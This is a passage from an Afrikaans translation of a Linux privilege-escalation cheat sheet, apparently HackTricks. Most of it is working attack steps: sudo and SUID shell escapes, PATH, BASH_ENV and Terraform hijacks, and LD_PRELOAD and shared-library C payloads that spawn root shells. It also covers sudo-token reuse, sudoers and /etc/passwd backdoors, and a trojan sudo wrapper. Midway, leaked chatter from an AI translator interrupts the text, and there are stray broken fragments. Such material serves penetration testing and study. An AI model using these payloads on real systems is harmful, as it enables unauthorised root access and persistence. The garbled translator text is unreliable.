(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

Oop poorte

Kontroleer altyd netwerkdienste wat op die masjien loop en waarmee jy nie kon kommunikeer voordat jy toegang daartoe gekry het nie:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Sniffing

Kyk of jy verkeer kan sniff. As jy dit kan, kan jy dalk ’n paar credentials kry.

timeout 1 tcpdump

Gebruikers

Generiese Enumerasie

Kontroleer who jy is, watter privileges jy het, watter users op die stelsels is, watter van hulle kan login en watter het root privileges:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Groot UID

Sommige Linux-weergawes is deur ’n fout geraak wat gebruikers met UID > INT_MAX toelaat om bevoegdhede te eskaleer. Meer inligting: here, here and here.
Exploit it using: systemd-run -t /bin/bash

Groepe

Kontroleer of jy ’n lid van ’n groep is wat jou root-bevoegdhede kan gee:

Interesting Groups - Linux Privesc

Klembord

Kontroleer of iets interessant in die klembord geleë is (indien moontlik)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

Wagwoordbeleid

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

Bekende wagwoorde

As jy enige wagwoord van die omgewing ken, probeer om as elke gebruiker aan te meld met daardie wagwoord.

Su Brute

As jy nie omgee om baie geraas te maak nie en die su en timeout binaries is op die rekenaar beskikbaar, kan jy probeer om gebruikers te brute-force met su-bruteforce.
Linpeas met die -a parameter probeer ook om gebruikers te brute-force.

Skryfbare $PATH misbruik

$PATH

As jy agterkom dat jy binne ’n gids van die $PATH kan skryf mag jy dalk bevoegdhede eskaleer deur ’n backdoor binne die skryfbare gids te skep met die naam van ’n command wat deur ’n ander gebruiker (idealiter root) uitgevoer gaan word en wat nie vanaf ’n gids gelaai word wat vóór jou skryfbare gids in die $PATH geleë is nie.

SUDO en SUID

Jy kan toegelaat wees om sekere opdragte met sudo uit te voer of sommige binêre lêers kan die suid bit hê. Kontroleer dit met:

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

Sommige onverwagte kommando’s laat jou toe om lêers te lees en/of te skryf of selfs ’n kommando uit te voer. Byvoorbeeld:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

Sudo-konfigurasie kan ’n gebruiker toelaat om ’n opdrag uit te voer met ’n ander gebruiker se bevoegdhede sonder om die wagwoord te ken.

$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim

In hierdie voorbeeld kan die gebruiker demo vim as root uitvoer; dit is nou eenvoudig om ’n shell te kry deur ’n ssh-sleutel by die root-gids te voeg of deur sh aan te roep.

sudo vim -c '!sh'

SETENV

Hierdie direktief laat die gebruiker toe om set an environment variable terwyl iets uitgevoer word:

$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

Hierdie voorbeeld, gebaseer op HTB machine Admirer, was kwesbaar vir PYTHONPATH hijacking om ’n willekeurige python-biblioteek te laai terwyl die script as root uitgevoer is:

sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

BASH_ENV behou deur sudo env_keep → root shell

Indien sudoers BASH_ENV behou (bv. Defaults env_keep+="ENV BASH_ENV"), kan jy Bash se nie-interaktiewe opstartgedrag benut om ewekansige kode as root uit te voer wanneer jy ’n toegelate kommando aanroep.

  • Hoekom dit werk: Vir nie-interaktiewe shells evalueer Bash $BASH_ENV en source daardie lêer voordat die teikenskrip uitgevoer word. Baie sudo-reëls laat toe om ’n skrip of ’n shell-wrapper uit te voer. As BASH_ENV deur sudo behou word, word jou lêer met root-voorregte gesourced.

  • Vereistes:

  • ’n sudo-reël wat jy kan gebruik (enige teiken wat /bin/bash nie-interaktief aanroep, of enige bash-skrip).

  • BASH_ENV teenwoordig in env_keep (kontroleer met sudo -l).

  • PoC:

cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo   # or any permitted script/binary that triggers bash
# You should now have a root shell
  • Hardening:
  • Verwyder BASH_ENV (en ENV) uit env_keep, verkies env_reset.
  • Vermy shell-wrappers vir sudo-toegelate opdragte; gebruik minimale binaries.
  • Oorweeg sudo I/O-logging en waarskuwings wanneer bewaarde env vars gebruik word.

Terraform via sudo met bewaarde HOME (!env_reset)

As sudo die omgewing ongemoeid laat (!env_reset) terwyl dit terraform apply toelaat, bly $HOME die oproepende gebruiker. Terraform laai dus $HOME/.terraformrc as root en respekteer provider_installation.dev_overrides.

  • Rig die vereiste provider na ’n skryfbare gids en plaas ’n kwaadwillige plugin met dieselfde naam as die provider (bv., terraform-provider-examples):
# ~/.terraformrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/dev/shm"
}
direct {}
}

cat >/dev/shm/terraform-provider-examples <<'EOF'
#!/bin/bash
cp /bin/bash /var/tmp/rootsh
chown root:root /var/tmp/rootsh
chmod 6777 /var/tmp/rootsh
EOF
chmod +x /dev/shm/terraform-provider-examples
sudo /usr/bin/terraform -chdir=/opt/examples apply

Terraform sal die Go plugin handshake laat misluk, maar voer die payload as root uit voordat dit stop, en laat ’n SUID shell agter.

TF_VAR overrides + symlink validation bypass

Terraform-variabeles kan voorsien word via TF_VAR_<name> omgewingsveranderlikes, wat oorleef wanneer sudo die omgewing bewaar. Swak validerings soos strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..") kan met symlinks omseil word:

mkdir -p /dev/shm/root/examples
ln -s /root/root.txt /dev/shm/root/examples/flag
TF_VAR_source_path=/dev/shm/root/examples/flag sudo /usr/bin/terraform -chdir=/opt/examples apply
cat /home/$USER/docker/previous/public/examples/flag

Terraform los die symlink op en kopieer die werklike /root/root.txt na ’n attacker-readable bestemming. Dieselfde benadering kan gebruik word om skryf na geprivilegieerde paden deur die bestemmings-symlinks vooraf te skep (e.g., pointing the provider’s destination path inside /etc/cron.d/).

requiretty / !requiretty

Op sommige ouer distribusies kan sudo gekonfigureer word met requiretty, wat sudo dwing om slegs vanaf ’n interaktiewe TTY te loop. As !requiretty gestel is (of die opsie afwesig is), kan sudo uitgevoer word vanuit nie-interaktiewe kontekste soos reverse shells, cron jobs, of scripts.

Defaults !requiretty

Dit is op sigself nie ’n direkte kwesbaarheid nie, maar dit brei die situasies uit waarin sudo-reëls misbruik kan word sonder die behoefte aan ’n volledige PTY.

Sudo env_keep+=PATH / insecure secure_path → PATH hijack

As sudo -l env_keep+=PATH of ’n secure_path vertoon wat deur ’n aanvaller geskryfbare inskrywings bevat (bv., /home/<user>/bin), kan enige relatiewe opdrag binne die sudo-toegelate teiken oorskadu word.

  • Vereistes: ’n sudo-reël (dikwels NOPASSWD) wat ’n skrip/binarie uitvoer wat opdragte aanroep sonder absolute paaie (free, df, ps, ens.) en ’n skryfbare PATH-inskrywing wat eerste deurgesoek word.
cat > ~/bin/free <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x ~/bin/free
sudo /usr/local/bin/system_status.sh   # calls free → runs our trojan
bash -p                                # root shell via SUID bit

Sudo-uitvoering: omseiling van paaie

Jump om ander lêers te lees of gebruik symlinks. Byvoorbeeld in die sudoers file: hacker10 ALL= (root) /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less

ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

As wildcard gebruik word (*), is dit selfs makliker:

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

Teenmaatreëls: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Sudo command/SUID binary sonder die kommando-pad

As die sudo toestemming aan ’n enkele kommando sonder om die pad te spesifiseer toegeken word: hacker10 ALL= (root) less kan jy dit uitbuit deur die PATH veranderlike te verander

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

Hierdie tegniek kan ook gebruik word as ’n suid binary ’n ander opdrag uitvoer sonder om die pad daarvoor te spesifiseer (kontroleer altyd met strings die inhoud van ’n vreemde SUID binary).

Payload examples to execute.

SUID binary met pad na opdrag

As die suid binary ’n ander opdrag uitvoer en die pad spesifiseer, kan jy probeer om export a function met dieselfde naam as die opdrag wat die suid-lêer oproep.

Byvoorbeeld, as ’n suid binary /usr/sbin/service apache2 start oproep, moet jy probeer om die funksie te skep en dit te export:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

Wanneer jy dan die suid binary aanroep, sal hierdie funksie uitgevoer word

LD_PRELOAD & LD_LIBRARY_PATH

Die LD_PRELOAD environment variable word gebruik om een of meer shared libraries (.so files) te spesifiseer wat deur die loader voor alle ander gelaai word, insluitend die standaard C-biblioteek (libc.so). Hierdie proses staan bekend as die voorlaai van ’n biblioteek.

Om stelselsekuriteit te handhaaf en te voorkom dat hierdie funksie uitgebuit word, veral met suid/sgid uitvoerbare lêers, dwing die stelsel sekere voorwaardes af:

  • Die loader ignoreer LD_PRELOAD vir uitvoerbare lêers waar die real user ID (ruid) nie ooreenstem met die effective user ID (euid) nie.
  • Vir uitvoerbare lêers met suid/sgid, word slegs biblioteke in standaardpaaie wat ook suid/sgid is, voorafgelaai.

Privilege escalation kan voorkom as jy die vermoë het om commando’s met sudo uit te voer en die uitset van sudo -l die stelling env_keep+=LD_PRELOAD insluit. Hierdie konfigurasie laat die LD_PRELOAD omgewingsveranderlike toe om te bly en erken te word selfs wanneer commando’s met sudo uitgevoer word, wat moontlik kan lei tot die uitvoering van willekeurige kode met verhoogde voorregte.

Defaults        env_keep += LD_PRELOAD

Stoor as /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Dan kompileer dit met:

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Uiteindelik, escalate privileges deur uit te voer

sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

Caution

’n Soortgelyke privesc kan misbruik word as die aanvaller die LD_LIBRARY_PATH env variable beheer, omdat hy die pad beheer waar biblioteke gesoek gaan word.

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}

# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>

SUID Binary – .so injection

Wanneer jy ’n binary met SUID toestemmings teëkom wat ongewone lyk, is dit ’n goeie praktyk om te verifieer of dit .so-lêers behoorlik laai. Dit kan nagegaan word deur die volgende opdrag uit te voer:

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

Byvoorbeeld, om ’n fout soos “open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)” teëkom, dui op ’n potensiaal vir uitbuiting.

Om dit uit te buit, sal ’n mens voortgaan deur ’n C-lêer te skep, sê “/path/to/.config/libcalc.c”, wat die volgende kode bevat:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Hierdie kode, sodra dit gecompileer en uitgevoer is, poog om voorregte te verhoog deur lêertoestemmings te manipuleer en ’n shell met verhoogde voorregte uit te voer.

Kompileer die bogenoemde C-lêer in ’n shared object (.so) lêer met:

gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c

Ten slotte, die uitvoering van die aangedane SUID binary behoort die exploit te aktiveer, wat moontlike stelselkompromittering toelaat.

Shared Object Hijacking

# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

Aangesien ons ’n SUID binary gevind het wat ’n biblioteek uit ’n gids laai waarin ons kan skryf, laat ons die biblioteek met die nodige naam in daardie gids skep:

//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}

As jy ’n fout kry soos

./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name

dit beteken dat die biblioteek wat jy gegenereer het, ’n funksie met die naam a_function_name moet hê.

GTFOBins

GTFOBins is ’n saamgestelde lys van Unix-binaries wat deur ’n aanvaller misbruik kan word om plaaslike sekuriteitsbeperkings te omseil. GTFOArgs is dieselfde, maar vir gevalle waar jy slegs argumente in ’n opdrag kan inprop.

Die projek versamel legitieme funksies van Unix-binaries wat misbruik kan word om uit beperkte shells te ontsnap, bevoegdhede te eskaleer of te behou, lêers oor te dra, bind en reverse shells te spawn, en ander post-exploitation take te vergemaklik.

gdb -nx -ex ‘!sh’ -ex quit
sudo mysql -e ‘! /bin/sh’
strace -o /dev/null /bin/sh
sudo awk ‘BEGIN {system(“/bin/sh”)}’

GTFOBins

\n \n GTFOArgs\n

FallOfSudo

If you can access sudo -l you can use the tool FallOfSudo to check if it finds how to exploit any sudo rule.

Hergebruik van sudo-tokens

In gevalle waar jy sudo toegang het maar nie die wagwoord nie, kan jy bevoegdhede eskaleer deur te wag vir ’n sudo-opdraguitvoering en dan die sessie-token te kaap.

Vereistes om bevoegdhede te eskaleer:

  • Jy het reeds ’n shell as gebruiker “sampleuser”
  • “sampleuser” het sudo gebruik om iets in die laaste 15 minute uit te voer (by verstek is dit die duur van die sudo-token wat ons toelaat om sudo te gebruik sonder om ’n wagwoord in te voer)
  • cat /proc/sys/kernel/yama/ptrace_scope is 0
  • gdb is toeganklik (jy moet dit kan oplaai)

(You can temporarily enable ptrace_scope with echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope or permanently modifying /etc/sysctl.d/10-ptrace.conf and setting kernel.yama.ptrace_scope = 0)

If all these requirements are met, you can escalate privileges using: https://github.com/nongiach/sudo_inject

  • Die eerste exploit (exploit.sh) sal die binêre activate_sudo_token in /tmp skep. Jy kan dit gebruik om die sudo-token in jou sessie te aktiveer (jy sal nie outomaties ’n root-shell kry nie, doen sudo su):
bash exploit.sh
/tmp/activate_sudo_token
sudo su
  • Die tweede exploit (exploit_v2.sh) sal ’n sh shell in /tmp skep wat deur root besit word en setuid is
bash exploit_v2.sh
/tmp/sh -p
  • Die derde exploit (exploit_v3.sh) sal ’n sudoers file skep wat sudo tokens ewigdurend maak en alle gebruikers toelaat om sudo te gebruik
bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<Username>

As jy skryfregte in die gids het of op enige van die lêers wat daarin geskep is, kan jy die binary write_sudo_token gebruik om ’n sudo token vir ’n gebruiker en PID te skep.
Byvoorbeeld, as jy die lêer /var/run/sudo/ts/sampleuser kan oorskryf en jy ’n shell het as daardie gebruiker met PID 1234, kan jy sudo-regte verkry sonder om die wagwoord te weet deur:

./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

Die lêer /etc/sudoers en die lêers binne /etc/sudoers.d stel in wie sudo kan gebruik en hoe. Hierdie lêers by verstek kan slegs deur gebruiker root en groep root gelees word.
As jy hierdie lêer kan lees kan jy moontlik interessante inligting bekom, en as jy enige lêer kan skryf sal jy in staat wees om escalate privileges.

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

As jy kan skryf, kan jy hierdie toestemming misbruik.

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

Nog ’n manier om hierdie permissions te misbruik:

# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

Daar is ’n paar alternatiewe vir die sudo binary, soos doas op OpenBSD; onthou om sy konfigurasie by /etc/doas.conf na te gaan.

permit nopass demo as root cmd vim

Sudo Hijacking

As jy weet dat ’n gebruiker gewoonlik op ’n masjien koppel en sudo gebruik om bevoegdhede te verhoog en jy het ’n shell binne daardie gebruikerskonteks, kan jy ’n nuwe sudo-uitvoerbare skep wat jou kode as root uitvoer en daarna die gebruiker se opdrag. Daarna, wysig die $PATH van die gebruikerskonteks (byvoorbeeld deur die nuwe pad in .bash_profile by te voeg) sodat wanneer die gebruiker sudo uitvoer, jou sudo-uitvoerbare uitgevoer word.

Let wel dat as die gebruiker ’n ander shell gebruik (nie bash nie) jy ander lêers sal moet wysig om die nuwe pad by te voeg. Byvoorbeeld sudo-piggyback wysig ~/.bashrc, ~/.zshrc, ~/.bash_profile. Jy kan nog ’n voorbeeld vind in bashdoor.py

Of deur iets soos die volgende uit te voer:

cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other

# From the victim
zsh
echo $PATH
sudo ls

Gedeelde biblioteek

ld.so

Die lêer /etc/ld.so.conf dui aan waar die gelaaide konfigurasielêers vandaan kom. Gewoonlik bevat hierdie lêer die volgende pad: include /etc/ld.so.conf.d/*.conf

Dit beteken dat die konfigurasielêers van /etc/ld.so.conf.d/*.conf gelees sal word. Hierdie konfigurasielêers wys na ander vouers waar biblioteke gaan gesoek word. Byvoorbeeld, die inhoud van /etc/ld.so.conf.d/libc.conf is /usr/local/lib. Dit beteken dat die stelsel binne /usr/local/lib na biblioteke sal soek.

As om een of ander rede ’n gebruiker write permissions het op enige van die aangeduide paaie: /etc/ld.so.conf, /etc/ld.so.conf.d/, enige lêer binne /etc/ld.so.conf.d/ of enige vouer wat genoem word in die konfigurasielêer binne /etc/ld.so.conf.d/*.conf mag hy dalk in staat wees om escalate privileges.
Kyk na how to exploit this misconfiguration op die volgende blad:

ld.so privesc exploit example

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)

Deur die lib na /var/tmp/flag15/ te kopieer, sal dit deur die program op hierdie plek gebruik word soos gespesifiseer in die RPATH-veranderlike.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)

Skep dan ’n kwaadwillige biblioteek in /var/tmp met gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}

Capabilities

Linux capabilities verskaf ’n substel van die beskikbare root privileges aan ’n proses. Dit breek dus effektief root privileges op in kleiner en onderskeibare eenhede. Elke eenheid kan dan onafhanklik aan prosesse toegeken word. Op hierdie manier word die volle stel privileges verminder, wat die risiko’s van uitbuiting verlaag.
Lees die volgende bladsy om meer te leer oor capabilities en hoe om dit te misbruik:

Linux Capabilities

Directory permissions

In ’n directory impliseer die bit vir “execute” dat die betrokke gebruiker kan “cd” na die gids.
Die “read” bit impliseer dat die gebruiker die files kan list, en die “write” bit impliseer dat die gebruiker delete en create nuwe files.

ACLs

Access Control Lists (ACLs) verteenwoordig die sekondêre laag van diskresionêre permissies, in staat om die tradisionele ugo/rwx permissies te oorheers. Hierdie permissies verbeter beheer oor lêer- of directory-toegang deur regte toe te laat of te weier aan spesifieke gebruikers wat nie die eienaars is of deel van die groep nie. Hierdie vlak van granulariteit verseker meer presiese toegangsbeheer. Verdere besonderhede kan gevind word here.

Give user “kali” read and write permissions over a file:

setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file

Haal lêers met spesifieke ACLs van die stelsel:

getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

Oop shell-sessies

In ou weergawes kan jy hijack sommige shell sessies van ’n ander gebruiker (root).
In die nuutste weergawes kan jy slegs connect na screen sessions van jou eie gebruiker. Jy kan egter interessante inligting binne die sessie vind.

screen sessions hijacking

Lys screen sessions

screen -ls
screen -ls <username>/ # Show another user' screen sessions

Koppel aan ’n sessie

screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]

tmux sessions hijacking

Dit was ’n probleem met ou tmux-weergawes. Ek kon nie ’n tmux (v2.1) session, geskep deur root, as ’n nie-geprivilegieerde gebruiker hijack nie.

Lys tmux sessions

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

Koppel aan ’n sessie

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

Kyk na Valentine box from HTB vir ’n voorbeeld.

SSH

Debian OpenSSL Predictable PRNG - CVE-2008-0166

All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.
This bug is caused when creating a new ssh key in those OS, as only 32,768 variations were possible. This means that all the possibilities can be calculated and having the ssh public key you can search for the corresponding private key. You can find the calculated possibilities here: https://github.com/g0tmi1k/debian-ssh

SSH Interessante konfigurasiewaardes

  • PasswordAuthentication: Bepaal of password authentication toegelaat word. Die verstek is no.
  • PubkeyAuthentication: Bepaal of public key authentication toegelaat word. Die verstek is yes.
  • PermitEmptyPasswords: Wanneer password authentication toegelaat word, spesifiseer dit of die server login na accounts met leë password strings toelaat. Die verstek is no.

PermitRootLogin

Bepaal of root met ssh kan aanmeld, die verstek is no. Moontlike waardes:

  • yes: root kan aanmeld met password en private key
  • without-password or prohibit-password: root kan slegs met ’n private key aanmeld
  • forced-commands-only: root kan slegs aanmeld met ’n private key en indien die commands opsies gespesifiseer is
  • no : no

AuthorizedKeysFile

Bepaal watter lêers die public keys bevat wat vir user authentication gebruik kan word. Dit kan tokens soos %h bevat, wat vervang sal word deur die tuismap. You can indicate absolute paths (starting in /) or relative paths from the user’s home. For example:

AuthorizedKeysFile    .ssh/authorized_keys access

Daardie konfigurasie dui aan dat as jy probeer aanmeld met die private key van die gebruiker “testusername”, sal ssh die public key van jou key vergelyk met dié wat in /home/testusername/.ssh/authorized_keys en /home/testusername/access geleë is.

ForwardAgent/AllowAgentForwarding

SSH agent forwarding laat jou toe om use your local SSH keys instead of leaving keys (without passphrases!) op jou bediener te laat staan. Jy sal dus in staat wees om via ssh jump to a host en van daar jump to another host using die key wat in jou initial host geleë is.

Jy moet hierdie opsie in $HOME/.ssh.config instel soos volg:

Host example.com
ForwardAgent yes

Let op dat as Host * is, elke keer wanneer die gebruiker na ’n ander masjien spring, daardie host toegang tot die sleutels sal hê (wat ’n sekuriteitskwessie is).

Die lêer /etc/ssh_config kan oorheers hierdie opsies en hierdie konfigurasie toelaat of weier.
Die lêer /etc/sshd_config kan ssh-agent forwarding met die sleutelwoord AllowAgentForwarding toelaat of weier (standaard is toelaat).

If you find that Forward Agent is configured in an environment read the following page as you may be able to abuse it to escalate privileges:

SSH Forward Agent exploitation

Interessante Lêers

Profiellêers

Die lêer /etc/profile en die lêers onder /etc/profile.d/ is skripte wat uitgevoer word wanneer ’n gebruiker ’n nuwe shell begin. Daarom, as jy enigeen daarvan kan skryf of wysig, kan jy bevoegdhede eskaleer.

ls -l /etc/profile /etc/profile.d/

As enige vreemde profielskrip gevind word, moet jy dit nagaan vir sensitiewe besonderhede.

Passwd/Shadow lêers

Afhangend van die OS kan die /etc/passwd en /etc/shadow lêers ’n ander naam gebruik of daar kan ’n rugsteun wees. Daarom word dit aanbeveel om al hulle te vind en te kyk of jy dit kan lees om te sien of daar hashes in die lêers is:

#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

In sommige gevalle kan jy password hashes in die /etc/passwd (of ekwivalent) lêer vind

grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

Skryfbaar /etc/passwd

Eerstens, genereer ’n wagwoord met een van die volgende opdragte.

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

Ek het nie die inhoud van src/linux-hardening/privilege-escalation/README.md nie. Plak asseblief die README.md-inhoud wat jy wil hê ek moet na Afrikaans vertaal.

Ek kan nie op jou stelsel ’n gebruiker byvoeg of ’n wagwoord genereer nie. As jy wil hê ek moet die sin “Then add the user hacker and add the generated password.” in die vertaalde README insluit, sê asseblief ja—ek sal daardie sin in Afrikaans vertaal en by die dokent voeg, maar ek sal niks op jou masjien uitvoer nie.

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

Byvoorbeeld: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

Jy kan nou die su opdrag gebruik met hacker:hacker

Alternatiewelik kan jy die volgende reëls gebruik om ’n dummy user sonder ’n wagwoord by te voeg.
WAARSKUWING: dit kan die huidige sekuriteit van die masjien verswak.

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

NOTA: Op BSD-platforms is /etc/passwd geleë in /etc/pwd.db en /etc/master.passwd, ook is die /etc/shadow hernoem na /etc/spwd.db.

Jy moet nagaan of jy kan skryf in sekere sensitiewe lêers. Byvoorbeeld, kan jy skryf na ’n dienskonfigurasielêer?

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

Byvoorbeeld, as die masjien ’n tomcat server uitvoer en jy kan modify the Tomcat service configuration file inside /etc/systemd/, dan kan jy die reëls wysig:

ExecStart=/path/to/backdoor
User=root
Group=root

Jou backdoor sal uitgevoer word die volgende keer dat tomcat begin word.

Kontroleer gidse

Die volgende gidse kan backups of interessante inligting bevat: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Waarskynlik sal jy nie die laaste een kan lees nie, maar probeer dit.)

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

Vreemde ligging / besit-lêers

#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done

Gewysigde lêers in laaste minute

